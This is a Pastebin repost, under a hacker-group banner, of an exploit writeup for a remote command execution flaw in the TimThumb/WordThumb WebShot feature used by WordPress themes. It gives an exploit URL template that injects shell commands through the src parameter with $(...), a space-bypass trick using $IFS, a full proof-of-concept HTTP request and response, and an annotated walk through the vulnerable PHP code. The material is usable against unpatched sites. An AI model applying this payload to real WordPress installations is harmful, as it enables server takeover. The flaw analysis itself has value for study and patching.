Advertisement
3xploit3r

Wordpress 0day TimThumb 2.8.13 Remote Code Execution

Aug 5th, 2016
510
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. We are...
  2. _____ _________
  3. / _ \ ____ ____ ____ / _____/ ____ ____
  4. / /_\ \ / \ / _ \ / \ \_____ \_/ __ \_/ ___\
  5. / | \ | ( <_> ) | \/ \ ___/\ \___
  6. \____|__ /___| /\____/|___| /_______ /\___ >\___ >
  7. \/ \/ \/ \/ \/ \/
  8. //Laughing at your security since 2012*
  9. =================================================================================================
  10. Official Members: Mrlele - AnonSec666 - 3r3b0s - 4prili666h05t - Hannaichi - ap3x h4x0r - d3f4ult
  11. =================================================================================================
  12.  
  13. _cant catch the rat... ~~(8:>
  14.  
  15.  
  16. ######################################################################
  17. # _ ___ _ _ ____ ____ _ _____
  18. # | | / _ \| \ | |/ ___|/ ___| / \|_ _|
  19. # | | | | | | \| | | _| | / _ \ | |
  20. # | |__| |_| | |\ | |_| | |___ / ___ \| |
  21. # |_____\___/|_| \_|\____|\____/_/ \_\_|
  22. #
  23. # Wordpress TimThumb 2.8.13 WebShot Remote Code Execution (0-day)
  24. # Affected website : a lot Wordpress Themes, Plugins, 3rd party components
  25. # Release dates : June 24, 2014
  26. #
  27. # Special Thanks to 2600 Thailand group
  28. # : Xelenonz, anidear, windows98se, icheernoom, w4x0r, pistachio
  29. # https://www.facebook.com/groups/2600Thailand/ , http://2600.in.th/
  30. #
  31. ########################################################################
  32.  
  33. [+] Description
  34. ============================================================
  35. TimThumb is a small php script for cropping, zooming and resizing web
  36. images (jpg, png, gif). Perfect for use on blogs and other applications.
  37. Developed for use in the WordPress theme Mimbo Pro, and since used in many
  38. other WordPress themes.
  39.  
  40. http://www.binarymoon.co.uk/projects/timthumb/
  41. https://code.google.com/p/timthumb/
  42.  
  43. The original project WordThumb 1.07 also vulnerable (
  44. https://code.google.com/p/wordthumb/)
  45. They both shared exactly the same WebShot code! And there are several
  46. projects that shipped with "timthumb.php", such as,
  47. Wordpress Gallery Plugin
  48. https://wordpress.org/plugins/wordpress-gallery-plugin/
  49. IGIT Posts Slider Widget
  50. http://wordpress.org/plugins/igit-posts-slider-widget/
  51.  
  52. All themes from http://themify.me/ contains vulnerable "wordthumb" in
  53. "<theme-name>/themify/img.php".
  54.  
  55. [+] Exploit
  56. ============================================================
  57. http://
  58. <wp-website>/wp-content/themes/<wp-theme>/path/to/timthumb.php?webshot=1&src=http://
  59. <wp-website>$(<os-cmds>)
  60.  
  61. ** Note that OS commands payload MUST be within following character sets:
  62. [A-Za-z0-9\-\.\_\~:\/\?\#\[\]\ () \!\$\&\'\(\)\*\+\,\;\=]
  63.  
  64. ** Spaces, Pipe, GT sign are not allowed.
  65. ** This WebShot feature is DISABLED by default.
  66. ** CutyCapt and XVFB must be installed in constants.
  67.  
  68. [+] Proof-of-Concept
  69. ============================================================
  70. There are couple techniques that can be used to bypass limited charsets but
  71. I will use a shell variable $IFS insteads of space in this scenario.
  72.  
  73. PoC Environment:
  74. Ubuntu 14.04 LTS
  75. PHP 5.5.9
  76. Wordpress 3.9.1
  77. Themify Parallax Theme 1.5.2
  78. WordThumb 1.07
  79.  
  80. Crafted Exploit:
  81. http://loncatlab.local/wp-content/themes/parallax/themify/img.php?webshot=1&src=http://loncatlab.local/$(touch$IFS/tmp/longcat)
  82.  
  83. GET /wp-content/themes/parallax/themify/img.php?webshot=1&src=
  84. http://longcatlab.local/$(touch$IFS/tmp/longcat) HTTP/1.1
  85. Host: longcatlab.local
  86. Proxy-Connection: keep-alive
  87. Cache-Control: max-age=0
  88. Accept:
  89. text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  90. User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
  91. Gecko) Chrome/35.0.1916.153 Safari/537.36
  92. Accept-Encoding: gzip,deflate,sdch
  93. Accept-Language: en-US,en;q=0.8
  94. Cookie: woocommerce_recently_viewed=9%7C12%7C16;
  95. wp-settings-1=libraryContent%3Dbrowse%26editor%3Dtinymce;
  96. wp-settings-time-1=1403504538; themify-builder-tabs=query-portfoliot;
  97. wordpress_test_cookie=WP+Cookie+check;
  98. wordpress_logged_in_26775808be2a17b15cf43dfee3a681c9=moderator%7C1403747599%7C62244ce3918e23df1bd22450b3d78685
  99.  
  100. HTTP/1.1 400 Bad Request
  101. Date: Tue, 24 Jun 2014 07:20:48 GMT
  102. Server: Apache
  103. X-Powered-By: PHP/5.5.9-1ubuntu4
  104. X-Content-Type-Options: nosniff
  105. X-Frame-Options: sameorigin
  106. Content-Length: 3059
  107. Connection: close
  108. Content-Type: text/html
  109.  
  110. <a href='http://www.php.net/function.getimagesize&apos;
  111. target='_new'>getimagesize</a>
  112. ( )</td><td
  113. title='/var/www/longcatlab.local/public_html/wp-content/themes/parallax/themify/img.php'
  114. bgcolor='#eeeeec'>../img.php<b>:</b>388</td></tr>
  115. </table></font>
  116. <h1>A WordThumb error has occured</h1>The following error(s) occured:<br
  117. /><ul><li>The image being resized is not a valid gif, jpg or
  118. png.</li></ul><br /><br />Query String : webshot=1&amp;src=
  119. http://longcatlab.local/$(touch$IFS/tmp/longcat)<br />WordThumb version :
  120. 1.07</pre>
  121.  
  122. Even it response with error messages but injected OS command has already
  123. been executed.
  124.  
  125. $ ls /tmp/longcat -lha
  126. - -rw-r--r-- 1 www-data www-data 0 มิ.ย. 24 14:20 /tmp/longcat
  127.  
  128.  
  129. [+] Vulnerability Analysis
  130. ============================================================
  131. https://timthumb.googlecode.com/svn/trunk/timthumb.php
  132.  
  133. Filename: timthumb.php
  134.  
  135. if(! defined('WEBSHOT_ENABLED') ) define ('WEBSHOT_ENABLED', true);
  136. if(! defined('WEBSHOT_CUTYCAPT') ) define ('WEBSHOT_CUTYCAPT',
  137. '/usr/local/bin/CutyCapt');
  138. if(! defined('WEBSHOT_XVFB') ) define ('WEBSHOT_XVFB', '/usr/bin/xvfb-run');
  139. ...
  140. timthumb::start(); ← start script
  141. ...
  142. public static function start(){
  143. $tim = new timthumb(); ← create timthumb object, call __construct()
  144. ...
  145. $tim->run();
  146. ...
  147. public function __construct(){
  148. ...
  149. $this->src = $this->param('src'); ← set "src" variable to HTTP GET "src"
  150. parameter
  151. if(preg_match('/^https?:\/\/[^\/]+/i', $this->src)){
  152. ...
  153. $this->isURL = true; ← prefix http/s result in isURL = true
  154. }
  155. ...
  156.  
  157. protected function param($property, $default = ''){
  158. if (isset ($_GET[$property])) {
  159. return $_GET[$property];
  160. ...
  161.  
  162. public function run(){
  163. if($this->isURL){
  164. ...
  165. if($this->param('webshot')){ ← HTTP GET "webshot" must submitted
  166. if(WEBSHOT_ENABLED){ ← this pre-defined constant must be true
  167. ...
  168. $this->serveWebshot(); ← call webshot feature
  169. } else {
  170. ...
  171.  
  172. protected function serveWebshot(){
  173. ...
  174. if(! is_file(WEBSHOT_CUTYCAPT)){ ← check existing of cutycapt
  175. return $this->error("CutyCapt is not installed. $instr");
  176. }
  177. if(! is_file(WEBSHOT_XVFB)){ ← check existing of xvfb
  178. return $this->Error("Xvfb is not installed. $instr");
  179. }
  180. ...
  181. $url = $this->src;
  182. if(! preg_match('/^https?:\/\/[a-zA-Z0-9\.\-]+/i', $url)){ ← check valid
  183. URL #LoL
  184. return $this->error("Invalid URL supplied.");
  185. }
  186. $url =
  187. preg_replace('/[^A-Za-z0-9\-\.\_\~:\/\?\#\[\]\ () \!\$\&\'\(\)\*\+\,\;\=]+/',
  188. '', $url); ← check valid URL as specified in RFC 3986
  189. http://www.ietf.org/rfc/rfc3986.txt
  190. ...
  191. if(WEBSHOT_XVFB_RUNNING){
  192. putenv('DISPLAY=:100.0');
  193. $command = "$cuty $proxy --max-wait=$timeout --user-agent=\"$ua\"
  194. --javascript=$jsOn --java=$javaOn --plugins=$pluginsOn
  195. --js-can-open-windows=off --url=\"$url\" --out-format=$format
  196. --out=$tempfile"; ← OS shell command injection
  197. } else {
  198. $command = "$xv --server-args=\"-screen 0,
  199. {$screenX}x{$screenY}x{$colDepth}\" $cuty $proxy --max-wait=$timeout
  200. --user-agent=\"$ua\" --javascript=$jsOn --java=$javaOn --plugins=$pluginsOn
  201. --js-can-open-windows=off --url=\"$url\" --out-format=$format
  202. --out=$tempfile"; ← OS shell command injection
  203. }
  204. ...
  205. $out = `$command`; ← execute $command as shell command
  206.  
  207. "PHP supports one execution operator: backticks (``). Note that these are
  208. not single-quotes! PHP will attempt to execute the contents of the
  209. backticks as a shell command." -
  210. http://www.php.net//manual/en/language.operators.execution.php
  211.  
  212. "$url" is failed to escape "$()" in "$command" which is result in arbitrary
  213. code execution.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement